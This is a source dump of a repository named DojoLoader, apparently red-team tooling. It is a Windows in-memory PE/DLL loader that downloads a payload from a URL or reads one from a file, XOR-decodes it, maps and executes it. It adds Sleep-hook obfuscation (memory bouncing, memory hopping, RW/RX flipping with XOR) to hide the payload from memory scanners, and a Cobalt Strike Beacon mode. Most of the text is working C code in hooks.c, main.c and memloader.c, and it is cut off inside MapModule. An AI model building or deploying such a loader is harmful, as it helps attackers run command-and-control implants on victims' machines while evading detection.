├── DojoLoader.sln ├── DojoLoader ├── DojoLoader.vcxproj ├── DojoLoader.vcxproj.filters ├── DojoLoader.vcxproj.user ├── hooks.c ├── hooks.h ├── main.c ├── memloader.c ├── memloader.h ├── structs.h ├── utils.c └── utils.h ├── LICENSE ├── README.md └── Utils ├── dummy_socket.c └── noUDRL.cna /DojoLoader.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.10.34928.147 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DojoLoader", "DojoLoader\DojoLoader.vcxproj", "{C996565D-A7E8-47E6-8CE5-C62ED8FF761B}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x64.ActiveCfg = Debug|x64 17 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x64.Build.0 = Debug|x64 18 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x86.ActiveCfg = Debug|Win32 19 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Debug|x86.Build.0 = Debug|Win32 20 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x64.ActiveCfg = Release|x64 21 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x64.Build.0 = Release|x64 22 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x86.ActiveCfg = Release|Win32 23 | {C996565D-A7E8-47E6-8CE5-C62ED8FF761B}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {3BC7183A-7CA2-4158-AA41-E708A27396BC} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /DojoLoader/DojoLoader.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {c996565d-a7e8-47e6-8ce5-c62ed8ff761b} 25 | DllDynamicLoader 26 | 10.0 27 | DojoLoader 28 | 29 | 30 | 31 | Application 32 | true 33 | v143 34 | Unicode 35 | 36 | 37 | Application 38 | false 39 | v143 40 | true 41 | Unicode 42 | 43 | 44 | Application 45 | true 46 | v143 47 | Unicode 48 | 49 | 50 | Application 51 | false 52 | v143 53 | true 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | true 76 | 77 | 78 | false 79 | 80 | 81 | true 82 | 83 | 84 | false 85 | 86 | 87 | 88 | Level3 89 | true 90 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 91 | true 92 | 93 | 94 | Console 95 | true 96 | 97 | 98 | 99 | 100 | Level3 101 | true 102 | true 103 | true 104 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 105 | true 106 | 107 | 108 | Console 109 | true 110 | true 111 | true 112 | 113 | 114 | 115 | 116 | Level3 117 | true 118 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 119 | true 120 | 121 | 122 | Console 123 | true 124 | /GUARD:CF %(AdditionalOptions) 125 | 126 | 127 | 128 | 129 | Level3 130 | true 131 | true 132 | true 133 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 134 | true 135 | Guard 136 | 137 | 138 | Console 139 | true 140 | true 141 | true 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | -------------------------------------------------------------------------------- /DojoLoader/DojoLoader.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Source Files 6 | 7 | 8 | Source Files 9 | 10 | 11 | Source Files 12 | 13 | 14 | Source Files 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | 32 | 33 | {64bc18b4-236f-4ba7-95e8-9319bcce8914} 34 | 35 | 36 | {1300fb45-352e-496e-b774-ee7a763f6918} 37 | 38 | 39 | -------------------------------------------------------------------------------- /DojoLoader/DojoLoader.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /DojoLoader/hooks.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "structs.h" 4 | #include "utils.h" 5 | 6 | LPVOID oldbase; 7 | void (*func_ptr)(void); 8 | PMEM_MODULE GlobalpMemModule = NULL; 9 | 10 | // Function to check if a function should be hooked 11 | BOOL check_hook(const char* functionName) { 12 | const char* hookFunctions[] = { "Sleep" }; 13 | for (int i = 0; i < sizeof(hookFunctions) / sizeof(hookFunctions[0]); i++) { 14 | if (strcmp(functionName, hookFunctions[i]) == 0) { 15 | return TRUE; 16 | } 17 | } 18 | return FALSE; 19 | } 20 | 21 | 22 | BOOL SetRXonSection(LPVOID lpBase, DWORD size) { 23 | DWORD dwOldProtect; 24 | if (FALSE == VirtualProtect(lpBase, size, PAGE_EXECUTE_READ, &dwOldProtect)) { 25 | return FALSE; 26 | } 27 | return TRUE; 28 | } 29 | 30 | BOOL SetRWonSection(LPVOID lpBase, DWORD size) { 31 | DWORD dwOldProtect; 32 | if (FALSE == VirtualProtect(lpBase, size, PAGE_READWRITE, &dwOldProtect)) { 33 | return FALSE; 34 | } 35 | return TRUE; 36 | } 37 | 38 | //--------------------------------------------------------------------------------------------------------------// 39 | // Hook function for Sleep 40 | void WINAPI SleepHookMemoryBouncing(DWORD dwMilliseconds) { 41 | printf("[+] Hooked Sleep for %u milliseconds\n", dwMilliseconds); 42 | 43 | printf("[+] copying %u (%#llx) bytes from address %p to buffer\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, DllPayload.startOfMappedPE); 44 | memcpy(DllPayload.tempPEdatabuffer, DllPayload.startOfMappedPE, DllPayload.mappedimagesize); 45 | 46 | printf("[+] XORing buffer at address %#llx for size %#llx\n", (unsigned long long)DllPayload.tempPEdatabuffer, (unsigned long long)DllPayload.mappedimagesize); 47 | XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey); 48 | 49 | // free the memory at address (LPVOID)(pImageNtHeader->OptionalHeader.ImageBase) 50 | printf("[+] Freeing memory at address: %#llx\n", (unsigned long long)DllPayload.startOfMappedPE); 51 | if (FALSE == VirtualFree(DllPayload.startOfMappedPE, 0, MEM_RELEASE)) { 52 | printf("[!] Error: Failed to free memory. Error code: %lu\n", GetLastError()); 53 | return; 54 | } 55 | 56 | SleepEx(dwMilliseconds, FALSE); 57 | printf("[+] End Sleep\n"); 58 | 59 | printf("[+] Allocating memory again on address: %#llx\n", (unsigned long long)DllPayload.startOfMappedPE); 60 | LPVOID lpBase = VirtualAlloc((LPVOID)DllPayload.startOfMappedPE, DllPayload.mappedimagesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 61 | if (lpBase == NULL) { 62 | printf("[!] Error: Failed to allocate section on address: %#llx Error code: %lu\n", (unsigned long long)DllPayload.startOfMappedPE, GetLastError()); 63 | return; 64 | } 65 | 66 | if (DllPayload.tempPEdatabuffer == NULL) { 67 | printf("[+] Error: Destination pointer is NULL\n"); 68 | return; 69 | } 70 | 71 | // xoring the temp pe buffer 72 | 73 | printf("[+] XORing buffer at address %#llx for size %#llx\n",(unsigned long long)DllPayload.tempPEdatabuffer, (unsigned long long)DllPayload.mappedimagesize); 74 | XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey); 75 | printf("[+] Copying buffer\n"); 76 | memcpy(lpBase, DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize); 77 | printf("[+] Copied %u (%#llx) bytes at address %p\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, lpBase); 78 | printf("[+] XORing buffer at address %#llx for size %#llx\n", (unsigned long long)DllPayload.tempPEdatabuffer, (unsigned long long)DllPayload.mappedimagesize); 79 | XORWithKey(DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize, Configs.SleepXorKey); 80 | 81 | 82 | printf("[+] Copied %u (%#llx) bytes at address %p\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, lpBase); 83 | 84 | 85 | } 86 | 87 | 88 | 89 | void WINAPI SleepHookMemoryHopping(DWORD dwMilliseconds) { 90 | printf("[+] Hooked Sleep for %u milliseconds\n", dwMilliseconds); 91 | 92 | void* returnAddress = _ReturnAddress(); 93 | 94 | printf("[+] Return Address: %p\n", returnAddress); 95 | 96 | 97 | printf("[+] copying %u (%#llx) bytes from address %#llx to buffer for later use\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, (unsigned long long)pMemModule->lpBase); 98 | 99 | if (DllPayload.tempPEdatabuffer != NULL) { 100 | free(DllPayload.tempPEdatabuffer); 101 | DllPayload.tempPEdatabuffer = NULL; 102 | } 103 | 104 | // Allocate new memory and copy data into it 105 | DllPayload.tempPEdatabuffer = malloc(DllPayload.mappedimagesize); 106 | if (DllPayload.tempPEdatabuffer == NULL) { 107 | // Handle error 108 | return; 109 | } 110 | 111 | memcpy(DllPayload.tempPEdatabuffer, pMemModule->lpBase, DllPayload.mappedimagesize); 112 | 113 | // free the memory at address (LPVOID)(pImageNtHeader->OptionalHeader.ImageBase) 114 | printf("[+] Freeing memory at address: %#llx\n", (unsigned long long)pMemModule->lpBase); 115 | if (FALSE == VirtualFree(pMemModule->lpBase, 0, MEM_RELEASE)) { 116 | printf("[!] Error: Failed to free memory. Error code: %lu\n", GetLastError()); 117 | return; 118 | } 119 | 120 | SleepEx(dwMilliseconds, FALSE); 121 | printf("[+] End Sleep\n"); 122 | 123 | 124 | oldbase = pMemModule->lpBase; 125 | LPVOID temp = (char*)pMemModule->lpBase + 0x100000; 126 | printf("[+] Allocating memory again on address: %#llx\n", (unsigned long long)temp); 127 | pMemModule->lpBase = VirtualAlloc(temp, DllPayload.mappedimagesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 128 | if (pMemModule->lpBase == NULL) { 129 | printf("[!] Error: Failed to allocate section on address: %#llx Error code: %lu\n", (unsigned long long)DllPayload.startOfMappedPE, GetLastError()); 130 | return; 131 | } 132 | 133 | LONGLONG ldeltahop = (PBYTE)returnAddress - (PBYTE)oldbase; //this is the offset from the start of the PE to the return address we should jump to 134 | void* NewReturnAddress = (PBYTE)pMemModule->lpBase + ldeltahop; 135 | 136 | 137 | printf("[+] Copying %u (%#llx) bytes from buffer to address %#llx\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, (unsigned long long)pMemModule->lpBase); 138 | 139 | if (DllPayload.tempPEdatabuffer == NULL) { 140 | printf("[+] Error: Destination pointer is NULL\n"); 141 | return; 142 | } 143 | 144 | 145 | memcpy(pMemModule->lpBase, DllPayload.tempPEdatabuffer, DllPayload.mappedimagesize); 146 | printf("[+] Copied %u (%#llx) bytes at address %#llx\n", DllPayload.mappedimagesize, (unsigned long long)DllPayload.mappedimagesize, (unsigned long long)pMemModule->lpBase); 147 | doRelocations(pMemModule); 148 | func_ptr = (void (*)(void))NewReturnAddress; 149 | printf("[+] Jump Address: %p\n", NewReturnAddress); 150 | func_ptr(); 151 | 152 | 153 | } 154 | 155 | void WINAPI SleepHookRWRX(DWORD dwMilliseconds) { 156 | 157 | printf("[+] Hooked Sleep for %u milliseconds\n", dwMilliseconds); 158 | 159 | printf("[+] Setting RW permissions on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr,(unsigned long long)DllPayload.execRegionSize); 160 | if (FALSE == SetRWonSection(DllPayload.execRegionPtr,DllPayload.execRegionSize)) { 161 | DWORD dwError = GetLastError(); 162 | printf("[!] Error: Failed to set RW on section. Error code: %lu\n", dwError); 163 | return; 164 | } 165 | 166 | 167 | printf("[+] XORing mapped PE memory on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize); 168 | XORWithKey(DllPayload.execRegionPtr, DllPayload.execRegionSize, Configs.SleepXorKey); 169 | 170 | SleepEx(dwMilliseconds, FALSE); 171 | printf("[+] End Sleep\n"); 172 | 173 | 174 | printf("[+] XORing mapped PE memory on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize); 175 | XORWithKey(DllPayload.execRegionPtr, DllPayload.execRegionSize, Configs.SleepXorKey); 176 | 177 | 178 | printf("[+] Setting RX permissions on address %#llx for size %#llx\n", (unsigned long long)DllPayload.execRegionPtr, (unsigned long long)DllPayload.execRegionSize); 179 | if (FALSE == SetRXonSection(DllPayload.execRegionPtr,DllPayload.execRegionSize)) { 180 | DWORD dwError = GetLastError(); 181 | printf("[!] Error: Failed to set RX on section. Error code: %lu\n", dwError); 182 | return; 183 | } 184 | 185 | } 186 | 187 | -------------------------------------------------------------------------------- /DojoLoader/hooks.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | void WINAPI SleepHookMemoryBouncing(DWORD dwMilliseconds); 4 | void WINAPI SleepHookMemoryHopping(DWORD dwMilliseconds); 5 | void WINAPI SleepHookRWRX(DWORD dwMilliseconds); 6 | BOOL SetRWonSection(LPVOID lpBase, DWORD size); 7 | BOOL SetRXonSection(LPVOID lpBase, DWORD size); 8 | 9 | BOOL check_hook(const char* functionName); -------------------------------------------------------------------------------- /DojoLoader/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "memloader.h" 4 | #include "utils.h" 5 | #include "structs.h" 6 | #include "hooks.h" 7 | 8 | 9 | 10 | typedef void** HMEMMODULE; 11 | 12 | struct CONFIG Configs = { .SleepXorKey = "DefaultSleepXorKey_changeme"}; 13 | 14 | PVOID lpBaseArray[SIZE_ARRAY] = { 0 }; 15 | SIZE_T TSizeArray[SIZE_ARRAY] = { 0 }; 16 | int index = 0; 17 | 18 | 19 | DWORD Run(PVOID pDllBytes) { 20 | DWORD Error; 21 | HMEMMODULE hMemModule = NULL; 22 | hMemModule = LoadMod(pDllBytes, TRUE, &Error); 23 | DllPayload.Module = hMemModule; 24 | return Error; 25 | } 26 | 27 | void FreeRawModule(PVOID pDllBytes) { 28 | printf("\n"); 29 | for (int i = 0; i < index ; i++){ 30 | 31 | if (!VirtualFree(lpBaseArray[i], TSizeArray[i], MEM_DECOMMIT)) { 32 | printf("\t[i] VirtualFree error: %d at index : %d \n", GetLastError(), i); 33 | } 34 | } 35 | if (DllPayload.BytesNumber){ 36 | ZeroMemory(pDllBytes, DllPayload.BytesNumber); 37 | } 38 | } 39 | 40 | void printHelp(wchar_t* programNameW) { 41 | char programNameA[260]; 42 | WideCharToMultiByte(CP_UTF8, 0, programNameW, -1, programNameA, sizeof(programNameA), NULL, NULL); 43 | 44 | wprintf(L"Usage: %ls -d | -f [-k ] [-s ] [-beacon]\n", programNameW); 45 | printf("Options:\n"); 46 | printf(" -d -download \t Load PE from the specified URL\n"); 47 | printf(" -f -file \t\t Load PE from the specified file\n"); 48 | printf(" -k -key \t\t XOR the payload with the specified key\n"); 49 | printf(" -s -sleep <1 (membounce),2 (memhop),3 (RWRX)> \t Sleep Obfuscation techniques:\n\t\t 1 or membounce for MemoryBouncing\n\t\t 2 or memhop for Memory Hopping (choose a compatible payload)\n\t\t 3 or RWRX for classic RW->RX \n"); 50 | printf(" -beacon \t\t use Cobalt Strike UDRL-les Beacon payload execution method\n"); 51 | printf(" -h \t\t\t print this help\n"); 52 | } 53 | 54 | int wmain(int argc, wchar_t* argv[]) { 55 | BOOL Succ; 56 | PVOID pDllBytes; 57 | HMEMMODULE hMemModule = NULL; 58 | DWORD Error; 59 | char* url = NULL; 60 | char* filePath = NULL; 61 | char* key = NULL; 62 | 63 | LPWSTR* szArglist; 64 | int nArgs; 65 | 66 | szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs); 67 | if (NULL == szArglist) { 68 | wprintf(L"CommandLineToArgvW fail\n"); 69 | return 0; 70 | } 71 | else { 72 | for (int i = 0; i < nArgs; i++) { 73 | printf("%d: %ws\n", i, szArglist[i]); 74 | } 75 | } 76 | 77 | printf( 78 | "______ _ _ _ \n" 79 | "| _ \\ (_) | | | | \n" 80 | "| | | |___ _ ___ | | ___ __ _ __| | ___ _ __ \n" 81 | "| | | / _ \\| |/ _ \\| | / _ \\ / _` |/ _` |/ _ \\ '__|\n" 82 | "| |/ / (_) | | (_) | |___| (_) | (_| | (_| | __/ | \n" 83 | "|___/ \\___/| |\\___/\\_____ \\___/ \\__,_|\\__,_|\\___|_| \n" 84 | " _/ | \n" 85 | " |__/ \n" 86 | "\nAuthor: @naksyn\n\n" 87 | ); 88 | 89 | 90 | if (argc == 1) { 91 | printHelp(argv[0]); 92 | return -1; 93 | } 94 | 95 | for (int i = 0; i < nArgs; i++) { 96 | if (wcscmp(szArglist[i], L"-h") == 0) { 97 | printHelp(argv[0]); 98 | return 0; 99 | } 100 | } 101 | 102 | for (int i = 1; i < nArgs; i++) { 103 | if (wcscmp(szArglist[i], L"-download") == 0 || wcscmp(szArglist[i], L"-d") == 0 && i + 1 < nArgs) { 104 | int bufferSize = WideCharToMultiByte(CP_UTF8, 0, szArglist[++i], -1, NULL, 0, NULL, NULL); 105 | url = (char*)malloc(bufferSize); 106 | WideCharToMultiByte(CP_UTF8, 0, szArglist[i], -1, url, bufferSize, NULL, NULL); 107 | } 108 | else if (wcscmp(szArglist[i], L"-file") == 0 || wcscmp(szArglist[i], L"-f") == 0 && i + 1 < nArgs) { 109 | int bufferSize = WideCharToMultiByte(CP_UTF8, 0, szArglist[++i], -1, NULL, 0, NULL, NULL); 110 | filePath = (char*)malloc(bufferSize); 111 | WideCharToMultiByte(CP_UTF8, 0, szArglist[i], -1, filePath, bufferSize, NULL, NULL); 112 | } 113 | else if (wcscmp(szArglist[i], L"-key") == 0 || wcscmp(szArglist[i], L"-k") == 0 && i + 1 < nArgs) { 114 | int bufferSize = WideCharToMultiByte(CP_UTF8, 0, szArglist[++i], -1, NULL, 0, NULL, NULL); 115 | key = (char*)malloc(bufferSize); 116 | WideCharToMultiByte(CP_UTF8, 0, szArglist[i], -1, key, bufferSize, NULL, NULL); 117 | Configs.XorKey = key; 118 | } 119 | else if (wcscmp(szArglist[i], L"-beacon") == 0) { 120 | Configs.Beacon = TRUE; 121 | } 122 | else if (wcscmp(szArglist[i], L"-sleep") == 0 || wcscmp(szArglist[i], L"-s") == 0 && i + 1 < nArgs) { 123 | if (wcscmp(szArglist[++i], L"1") == 0 || wcscmp(szArglist[i], L"membounce") == 0) { 124 | Configs.SleepHookFunc = SleepHookMemoryBouncing; 125 | } 126 | else if (wcscmp(szArglist[i], L"2") == 0 || wcscmp(szArglist[i], L"memhop") == 0) { 127 | Configs.SleepHookFunc = SleepHookMemoryHopping; 128 | } 129 | else if (wcscmp(szArglist[i], L"3") == 0 || wcscmp(szArglist[i], L"RWRX") == 0) { 130 | Configs.SleepHookFunc = SleepHookRWRX; 131 | } 132 | else { 133 | wprintf(L"Unknown function: %ws\n", szArglist[i]); 134 | return -1; 135 | } 136 | } 137 | 138 | else { 139 | wprintf(L"[!] Unknown option: %ws\n", szArglist[i]); 140 | return -1; 141 | } 142 | } 143 | 144 | printf("URL: %s\n", url); 145 | if (url != NULL) { 146 | DWORD size; 147 | char* data = DownloadFile(url, &size); 148 | if (data != NULL) 149 | { 150 | if (Configs.XorKey != NULL) { 151 | printf("[!] Xoring payload with key: %s\n", Configs.XorKey); 152 | XORWithKey(data, size, Configs.XorKey); 153 | } 154 | DllPayload.BytesNumber = size; 155 | DllPayload.pDllBytes = data; 156 | } 157 | else { 158 | printf("[!] DownloadFile Failed With Error: %d \n", GetLastError()); 159 | return -1; 160 | } 161 | } 162 | else if (filePath != NULL) { 163 | Succ = ReadDllFile(filePath); 164 | if (!Succ) { 165 | printf("[!] ReadDllFile Failed With Error: %d \n", GetLastError()); 166 | return -1; 167 | } 168 | if (Configs.XorKey != NULL) { 169 | printf("[!] Xoring payload with key: %s\n", Configs.XorKey); 170 | XORWithKey(DllPayload.pDllBytes, DllPayload.BytesNumber, Configs.XorKey); 171 | } 172 | } 173 | else { 174 | printf("[!] Either -d (load PE from from URL) or -f (load PE from file) option must be specified\n"); 175 | return -1; 176 | } 177 | 178 | pDllBytes = DllPayload.pDllBytes; 179 | if (pDllBytes == NULL) { 180 | printf("[!] pDllBytes is Null : %d \n", GetLastError()); 181 | return -1; 182 | } 183 | 184 | 185 | printf("[+] Running\n"); 186 | 187 | Error = Run(pDllBytes); 188 | if (Error != MMEC_OK) { 189 | printf("[!] Coudn't Run The Dll ... \n"); 190 | FreeRawModule(pDllBytes); 191 | return -1; 192 | } 193 | printf("[+] DONE \n"); 194 | FreeRawModule(pDllBytes); 195 | 196 | return 0; 197 | } -------------------------------------------------------------------------------- /DojoLoader/memloader.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "memloader.h" 3 | #include "hooks.h" 4 | #include "utils.h" 5 | 6 | PMEM_MODULE pMemModule = NULL; 7 | LPVOID oldbase = NULL; 8 | 9 | 10 | //--------------------------------------------------------------------------------------------------------------// 11 | // the following 2 functions, are made to add elements in the arrays we have 12 | void AppendTSizeArray(SIZE_T Value) { 13 | for (int i = 0; i < SIZE_ARRAY + 1; i++){ 14 | if (TSizeArray[i] == 0){ 15 | TSizeArray[i] = Value; 16 | index++; 17 | break; 18 | } 19 | } 20 | } 21 | 22 | void AppendlpBaseArray(PVOID Value) { 23 | for (int i = 0; i < SIZE_ARRAY + 1; i++) { 24 | if (lpBaseArray[i] == NULL) { 25 | lpBaseArray[i] = Value; 26 | break; 27 | } 28 | } 29 | } 30 | 31 | //--------------------------------------------------------------------------------------------------------------// 32 | BOOL LoadModuleInt(PMEM_MODULE pMemModule, LPVOID PEdata, BOOL CallEntryPoint) { 33 | if ( pMemModule == NULL || PEdata == NULL) 34 | return FALSE; 35 | pMemModule->dwErrorCode = ERROR_SUCCESS; 36 | // Verify file format 37 | if (IsPEValid(pMemModule, PEdata) == FALSE) { 38 | return FALSE; 39 | } 40 | // Map PE header and section table into memory 41 | if (MapModule(pMemModule, PEdata) == FALSE) 42 | return FALSE; 43 | // Relocate the module base 44 | if (doRelocations(pMemModule) == FALSE) { 45 | UnmapModule(pMemModule); 46 | return FALSE; 47 | } 48 | // Resolve the import table 49 | if (ResolveImports(pMemModule) == FALSE) { 50 | UnmapModule(pMemModule); 51 | return FALSE; 52 | } 53 | pMemModule->dwCrc = GetCRC32(0, pMemModule->lpBase, pMemModule->dwSizeOfImage); 54 | 55 | // Correct the protect flag for all section pages --- DO THIS IF YOU WANT 2 ALLOCATIONS 56 | //if (FALSE == SetRXonSection(DllPayload.startOfMappedPE)) { 57 | //UnmapModule(pMemModule); 58 | //return FALSE; 59 | //} 60 | // don't do this if you want 2 allocations or RWX 61 | if (Configs.SleepHookFunc == SleepHookRWRX) { 62 | if (SetPermissions(pMemModule) == FALSE) { 63 | UnmapModule(pMemModule); 64 | return FALSE; 65 | } 66 | } 67 | 68 | // process tls data 69 | if (HandleTLS(pMemModule) == FALSE) 70 | return FALSE; 71 | if (CallEntryPoint) { 72 | if (CallModuleEntry(pMemModule, DLL_PROCESS_ATTACH) == FALSE) { 73 | // failed to call entry point, 74 | // clean resource, return false 75 | UnmapModule(pMemModule); 76 | return FALSE; 77 | } 78 | } 79 | 80 | return TRUE; 81 | } 82 | 83 | HMEMMODULE LoadMod(LPVOID PEdata, BOOL CallEntryPoint, DWORD* pdwError) { 84 | pMemModule = GlobalAlloc(GPTR, sizeof(MEM_MODULE)); 85 | if (pMemModule == NULL) { 86 | if (pdwError != NULL) { 87 | *pdwError = MMEC_INVALID_WIN32_ENV; 88 | } 89 | return NULL; 90 | } 91 | 92 | pMemModule->CallEntryPoint = CallEntryPoint; 93 | pMemModule->isLoaded = FALSE; 94 | pMemModule->dwErrorCode = MMEC_OK; 95 | 96 | if (!LoadModuleInt(pMemModule, PEdata, CallEntryPoint)) { 97 | if (pdwError != NULL) { 98 | *pdwError = pMemModule->dwErrorCode; 99 | } 100 | GlobalFree(pMemModule); 101 | return NULL; 102 | } 103 | 104 | if (pdwError != NULL) { 105 | *pdwError = 0; 106 | } 107 | return (HMEMMODULE)pMemModule; 108 | } 109 | 110 | 111 | //--------------------------------------------------------------------------------------------------------------// 112 | // Tests the return value and jump to exit label if false. 113 | #define IfFalseGoExitWithError(x, exp) \ 114 | do { \ 115 | if (!(br = (x)) && (exp)) \ 116 | goto _Exit; \ 117 | } while (0) 118 | 119 | 120 | //--------------------------------------------------------------------------------------------------------------// 121 | // Create a pointer value. 122 | #define MakePointer(t, p, offset) ((t)((PBYTE)(p) + offset)) 123 | 124 | //--------------------------------------------------------------------------------------------------------------// 125 | /// True if the data is valid PE format. 126 | BOOL IsPEValid(PMEM_MODULE pMemModule, LPVOID PEdata) { 127 | if (pMemModule == NULL) { 128 | return FALSE; 129 | } 130 | 131 | BOOL isValid = FALSE; 132 | PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)PEdata; 133 | 134 | if (IMAGE_DOS_SIGNATURE != pImageDosHeader->e_magic) { 135 | goto Exit; 136 | } 137 | 138 | PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, PEdata, pImageDosHeader->e_lfanew); 139 | if (IMAGE_NT_SIGNATURE != pImageNtHeader->Signature) { 140 | goto Exit; 141 | } 142 | 143 | #ifdef _WIN64 144 | if (IMAGE_FILE_MACHINE_AMD64 == pImageNtHeader->FileHeader.Machine) { 145 | if (IMAGE_NT_OPTIONAL_HDR64_MAGIC != pImageNtHeader->OptionalHeader.Magic) { 146 | goto Exit; 147 | } 148 | } 149 | #else 150 | if (IMAGE_FILE_MACHINE_I386 == pImageNtHeader->FileHeader.Machine) { 151 | if (IMAGE_NT_OPTIONAL_HDR32_MAGIC != pImageNtHeader->OptionalHeader.Magic) { 152 | goto Exit; 153 | } 154 | } 155 | #endif 156 | else { 157 | goto Exit; 158 | } 159 | 160 | isValid = TRUE; 161 | 162 | Exit: 163 | if (!isValid) { 164 | pMemModule->dwErrorCode = MMEC_BAD_PE_FORMAT; 165 | } 166 | return isValid; 167 | } 168 | 169 | 170 | //--------------------------------------------------------------------------------------------------------------// 171 | // this function here is used to map all the sections 172 | BOOL MapModule(PMEM_MODULE pMemModule, LPVOID PEdata) { 173 | if (pMemModule == NULL || PEdata == NULL) 174 | return FALSE; 175 | 176 | PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)(PEdata); 177 | PIMAGE_NT_HEADERS pImageNtHeader = MakePointer(PIMAGE_NT_HEADERS, pImageDosHeader, pImageDosHeader->e_lfanew); 178 | int nNumberOfSections = pImageNtHeader->FileHeader.NumberOfSections; 179 | PIMAGE_SECTION_HEADER pImageSectionHeader = MakePointer(PIMAGE_SECTION_HEADER, pImageNtHeader, sizeof(IMAGE_NT_HEADERS)); 180 | 181 | DWORD dwImageSizeLimit = 0; 182 | for (int i = 0; i < nNumberOfSections; ++i) { 183 | if (pImageSectionHeader[i].VirtualAddress != 0) { 184 | DWORD sectionLimit = pImageSectionHeader[i].VirtualAddress + pImageSectionHeader[i].SizeOfRawData; 185 | if (dwImageSizeLimit < sectionLimit) 186 | dwImageSizeLimit = sectionLimit; 187 | } 188 | } 189 | DllPayload.mappedimagesize = dwImageSizeLimit; 190 | 191 | // Reserve virtual memory 192 | 193 | DWORD protection = (Configs.SleepHookFunc == SleepHookMemoryBouncing || Configs.SleepHookFunc == SleepHookMemoryHopping) ? PAGE_EXECUTE_READWRITE : PAGE_READWRITE; 194 | LPVOID lpBase = VirtualAlloc((LPVOID)(pImageNtHeader->OptionalHeader.ImageBase), pImageNtHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, protection); 195 | if (NULL == lpBase) { 196 | lpBase = VirtualAlloc(NULL, pImageNtHeader->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, protection); 197 | if (NULL == lpBase) { 198 | pMemModule->dwErrorCode = MMEC_ALLOCATED_MEMORY_FAILED; 199 | return FALSE; 200 | } 201 | } 202 | 203 | DllPayload.startOfMappedPE = lpBase; 204 | oldbase = DllPayload.startOfMappedPE; 205 | AppendlpBaseArray(lpBase); 206 | AppendTSizeArray(dwImageSizeLimit); 207 | // Commit memory for PE header 208 | LPVOID pDest = lpBase;//VirtualAlloc(lpBase, pImageNtHeader->OptionalHeader.SizeOfHeaders, MEM_COMMIT, PAGE_READWRITE); 209 | if (!pDest) { 210 | pMemModule->dwErrorCode = MMEC_ALLOCATED_MEMORY_FAILED; 211 | return FALSE; 212 | } 213 | 214 | 215 | AppendlpBaseArray(pDest); 216 | AppendTSizeArray(pImageNtHeader->OptionalHeader.SizeOfHeaders); 217 | RtlMoveMemory(pDest, PEdata, pImageNtHeader->OptionalHeader.SizeOfHeaders); 